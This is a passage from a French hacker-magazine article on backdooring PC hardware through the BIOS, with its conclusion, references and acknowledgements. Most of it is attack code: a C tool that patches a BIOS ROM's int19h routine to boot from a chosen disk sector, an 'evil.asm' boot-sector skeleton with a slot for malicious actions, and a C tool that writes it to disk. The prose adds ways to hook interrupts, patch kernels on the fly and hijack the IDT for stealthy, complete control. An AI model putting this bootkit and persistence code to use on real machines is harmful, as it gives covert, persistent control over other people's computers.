;; function 2, read diskette sector 7253 mov al, #0x01 ;; read 1 sector 7254 mov ch, #0x00 ;; track 0 7255 mov cl, #0x01 ;; sector 1 7256 mov dh, #0x00 ;; head 0 7257 int #0x13 ;; read sector 7258 jnc int19_load_done 7259 mov ax, #0x0001 7260 mov _int19_function.status + 2[bp], ax 7261 7262 int19_load_done: 7263 pop bp 7264 ASM_END int13h est l'interruption BIOS utilisée pour accéder aux périphériques de stockage. Dans notre cas, le BIOS tente de charger le gestionnaire d'amorçage, qui est sur le premier secteur du disque. Le truc intéressant c'est qu'en changeant juste la valeur mise dans un registre, on peut faire que le BIOS lance notre propre code. Par exemple, si nous voulons cacher notre code dans le secteur numéro 0xN et si nous patchons le BIOS pourqu'au lieu de l'instruction "mov cl, #0x01", nous ayons "mov cl, #0xN", notre code pourra être chargé à chaque démarrage et redémarrage. En gros, on peut stocker notre code où nous voulons et aussi changer le secteur, la piste, et même le disque utilisé. C'est à vous de choisir où stocker votre code mais comme je l'ai dit, un secteur marqué comme défectueux peut se montrer très intéressant. Voici les trois codes sources pour vous aider à débuter plus vite : le premier, inject.c, modifie la ROM du BIOS pour qu'il charge notre code avant le gestionnaire d'amorçage. inject.c a besoin de /dev/bios/ pour fonctionner. Le deuxième, code.asm, est le skelette à completer avec votre propre code et est chargé par le BIOS. Le troisième, store.c, injecte code.asm dans le secteur cible de la première piste du disque dur. --[ infect.c #define _GNU_SOURCE #include #include #include #include #include #define BUFSIZE 512 #define BIOS_DEV "/dev/bios" #define CODE "xbbx00x00" /* mov bx, 0 */ "xb4x02" /* mov ah, 2 */ "xb0x01" /* mov al, 1 */ "xb5x00" /* mov ch, 0 */ "xb6x00" /* mov dh, 0 */ "xb1x01" /* mov cl, 1 */ "xcdx13" /* int 0x13 */ #define TO_PATCH "xcdx13" /* mov cl, 1 */ #define SECTOR_OFFSET 1 void usage(char *cmd) { fprintf(stderr, "usage is : %s [bios rom] n", cmd); exit(1); } /* ** Cette fonction regarde dans la ROM du BIOS et cherche après la ** procédure int19h. L'algo utilisé sucks puisque c'est une recherche ** naive. Les lecteurs intéressés devraient le changer. */ char * search(char * buf, size_t size) { return memmem(buf, size, CODE, sizeof(CODE)); } void patch(char * tgt, size_t size, int sector) { char new; char * tmp; tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH)); new = (char)sector; tmp[SECTOR_OFFSET] = new; } int main(int argc, char **argv) { int sector; size_t i; size_t ret; size_t cnt; int devfd; int outfd; char * buf; char * dev; char * out; char * tgt; if (argc == 3) { dev = BIOS_DEV; out = argv[2]; sector = atoi(argv[1]); } else if (argc == 4) { dev = argv[1]; out = argv[3]; sector = atoi(argv[2]); } else usage(argv[0]); if ((devfd = open(dev, O_RDONLY)) == -1) { fprintf(stderr, "could not open BIOS\n"); exit(1); } if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1) { fprintf(stderr, "could not open %s\n", out); exit(1); } for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret) buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE); if (ret == -1) { fprintf(stderr, "error reading BIOS\n"); exit(1); } if ((tgt = search(buf, cnt)) == NULL) { fprintf(stderr, "could not find code to patch\n"); exit(1); } patch(tgt, cnt, sector); for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret) ; if (ret == -1) { fprintf(stderr, "could not write patched ROM to disk\n"); exit(1); } close(devfd); close(outfd); free(buf); return 0; } --- --[ evil.asm ;;; ;;; Un code d'exemple à être chargé par le BIOS infecté au lieu ;;; du gestionnaire d'amorçage réel. En gros, il se déplace ;;; lui-même pour charger le gestionnaire d'amorçage réel et y ;;; sauter. Remplacez les nops si vous voulez qu'il fasse quelque ;;; chose d'utile. ;;; ;;; Utilisation : ;;; Aucun, ce code doit être chargé par store.c ;;; ;;; compile avec : nasm -fbin evil.asm -o evil.bin ;;; BITS 16 ORG 0 ;; on a besoin de ce point pour vérifier la taille du code entry: jmp begin ; saute les données ;; Voici les données drive db 0 ; le disque sur lequel on est begin: mov [drive], dl ; récupère le disque sur lequel on est ;; initialisation du segments mov ax, 0x07C0 mov ds, ax mov es, ax ;; initialisation de la pile mov ax, 0 mov ss, ax mov ax, 0xffff mov sp, ax ;; quitte la zone pour pouvoir charger ;; le VRAI gestionnaire d'amorçage mov ax, 0x7c0 mov ds, ax mov ax, 0x100 mov es, ax mov si, 0 mov di, 0 mov cx, 0x200 cld rep movsb ;; saute au nouvel endroit jmp 0x100:next next: ;; pour sauter vers le nouveau bon endroit ;; charge le vrai gestionnaire d'amorçage mov dl, [drive] mov ax, 0x07C0 mov es, ax mov bx, 0 mov ah, 2 mov al, 1 mov ch, 0 mov cl, 1 mov dh, 0 int 0x13 ;; Vaites vos vils actions ici ;; (par exemple, infecter le gestionnaire d'amorçage) nop nop nop ;; exécute le system jmp 07C0h:0 size equ $ - entry %if size+2 > 512 %error "code est trop grand pour le secteur de boot" %endif times (512 - size - 2) db 0 ; remplis les 512 octets db 0x55, 0xAA ; signature de boot --- --[ store.c /* ** code à utiliser pour stocker le faux booloader chargé ** par le BIOS infecté ** ** Utilisation : ** store ** ** compile avec : gcc store.c -o store */ #include #include #include #include #define CODE_SIZE 512 #define SECTOR_SIZE 512 void usage(char *cmd) { fprintf(stderr, "utilisation : %s \n", cmd); exit(0); } int main(int argc, char **argv) { int off; int i; int devfd; int codefd; int cnt; char code[CODE_SIZE]; if (argc != 4) usage(argv[0]); if ((devfd = open(argv[1], O_RDONLY)) == -1) { fprintf(stderr, "erreur : ne peut ouvrir le disque\n"); exit(1); } off = atoi(argv[2]); if ((codefd = open(argv[3], O_RDONLY)) == -1) { fprintf(stderr, "erreur : ne peut ouvrir le fichier"); exit(1); } for (cnt = 0; cnt != CODE_SIZE; cnt += i) if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) { fprintf(stderr, "erreur de lecture du code\n"); exit(1); } lseek(devfd, (off - 1) * SECTOR_SIZE, SEEK_SET); for (cnt = 0; cnt != CODE_SIZE; cnt += i) if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) { fprintf(stderr, "erreur de lecture du code\n"); exit(1); } close(devfd); close(codefd); printf("Disque infecté\n"); return 0; } --- Okay, maintenant qu'on peut charger notre code en utilisant le BIOS, il est temps de considérer ce qu'on peut faire dans cette position. Comme nous sommes presque les premiers à avoir le contrôle sur le système, nous pouvons faire des choses réellements intéressantes : D'abord, on peut détourner les interruptions BIOS et les faires sauter vers notre code. C'est intéressant parce qu'au lieu d'écrire tout le code dans le BIOS, on peut maintenant détourner les procédures en ayant autant de place que nécessaire et sans devoir faire plein de reverse engineering. Ensuite, on peut facilement patcher le gestionnaire d'amorçage à la volée puisque c'est notre propre code qui le charge. En fait, on a même pas ebsoin d'appeller le vrai gestionnaire si on ne veut pas, on peut faire un faux qui charge un charmant noyau patché à partir du vrai. Ou faire un faux gestionnaire (ou patcher le bon à la volée) qui charge le vrai noyau et le patche à la volée. Le choix est vôtre. En fin, je voudrais parler d'une dernière chose qui m'est passée par l'esprit. Combiné avec le détournement d'IDTR, patcher le BIOS peur nous garantir un contrôle complet sur le système. On peut patcher le BIOS pour qu'il charge notre propre gestionnaire d'amorçage. Ce gestionnaire est spécial, en fait, il charge un mini-OS fait maison qui place une IDT. ENsuite, comme nous avons détourné le registre IDTR (il y a plusieurs de manières de le faire, la plus facile étant de patcher le processus de démarrage de l'OS cible pour l'empêcher d'écraser notre IDT), on peut alors charger le vrai gestinonaire d'amorçage qui va charger le vrai noyau. À ce moment, notre propre OS va détourner le système entier avec sa propre IDT qui va gérer toutes les interruptions que vous voulez, détourner tout événement sur le système. On peut même utiliser l'horloge système comme scheduler pour les deux OS : le tick va être géré par notre propre OS et en fonction de la configuration (on peut dire par exemple, 10 % du temps pour notre OS, et 90 % pour le vrai OS), on peut exécuter notre code ou donner le contrôle au vrai système en sautant dans sa IDT. Vous pouvez faire plein de choses juste en patchant le BIOS, je vous suggère donc d'implémenter vos propres idées. Souvenez-vous que ce n'est pas si difficile, la documentation sur le sujet existe déjà et on peut vraiment faire plein de choses. Souvenez-vous juste d'utiliser Bochs pour tester avant d'aller dans la nature, c'est certainement moins amusant quand de la fumée sort d'une puce de la carte mère... 5. Conclusion Et voilà, le matériel peut être backdooré assez facilement. Bien sûr, ce que j'ai montré ici n'était qu'un survol rapide. On peut faire BEAUCOUP de choses avec le matériel, des choses qui nous assurent un contrôle total sur l'ordinateur sur lequel on est tout en restant furtifs. Il y a un gros travail à faire dans ce domaine puisque de plus en plus de périphériques deviennent dépendant du SPU et implémentent beaucoup de fonctionnalités qui peuvent être utilisées pour faires des choses amusantes. L'imagination (et la portabilité, sic...) est la seule limite. Pour les gens très intéressés dans le fait de s'amuser avec le matériel, je vous suggère de regarder dans le système de programmation microcode du CPU (en commencant par le reverse engineering de l'AMD K8, voir [18]), les BIOS's des cartes réseaux et le système PXE. (Et le hack matériel peut être un début amusant pour apprendre à envoyer chier le système TCPA). 6. Références [1] : The Art of Assembly Programming - Randall Hyde (http://webster.cs.ucr.edu/AoA/index.html) [2] : Linux Device Drivers - Alessandro Rubini, Jonathan Corbet (http://www.xml.com/ldd/chapter/book/) [3] : OpenGL (http://www.opengl.org/) [4] : Neon Helium Productions (NeHe) (http://nehe.gamedev.net/) [5] : GPGPU (http://www.gpgpu.org) [6] : HLSL tutorial (http://msdn2.microsoft.com/en-us/library/bb173494.aspx) [7] : GLSL tutorial (http://nehe.gamedev.net/data/articles/article.asp?article=21) [8] : The NVIDIA Cg Toolkit (http://developer.nvidia.com/object/cg_toolkit.html) [9] : NVIDIA Cg tutorial (http://developer.nvidia.com/object/cg_tutorial_home.html) [10] : nVIDIA CUDA (Compute Unified Device Architecture) (http://developer.nvidia.com/object/cuda.html) [11] : Implementing and Detecting an ACPI BIOS RootKit - John Heasman (http://www.ngssoftware.com/jh_bhf2006.pdf) [12] : /dev/bios - Stefan Reinauer (http://www.openbios.info/development/devbios.html) [13] : OpenBIOS initiative (http://www.openbios.info/) [14] : Award BIOS reverse engineering guide - Pinczakko (http://www.geocities.com/mamanzip/Articles/Award_Bios_RE) [15] : Wim's BIOS (http://www.wimsbios.com/) [16] : Bochs IA-32 Emulator Project (http://bochs.sourceforge.net/) [17] : Bochs BIOS source code (http://bochs.sourceforge.net/cgi-bin/lxr/source/bios/rombios.c) [18] : Opteron Exposed: Reverse Engineering AMD K8 Microcode Updates (http://www.packetstormsecurity.nl/0407-exploits/OpteronMicrocode.txt) 7. Remerciements Sans ces personnes, cet article n'aurait pas vu le jours, donc, merci à eux : * Auquen, pour m'avoir présenté l'idée de jouer avec le matériel il y a cinq ans * Kad et Mayhem, pour m'avoir convaincu d'écrire cet article * Sauron, pour m'avoir toujours motivé (rien de sexuel) * Glenux, pour m'avoir indiqué CUDA * Tous les gens présents aux apéros de scythale, pour m'aider à me défoncer d'une telle façon que je sorte des idées diaboliques (yeah, j'étais saoul quand j'ai décidé de backdoorer mon matériel). -- scythale@gmail.com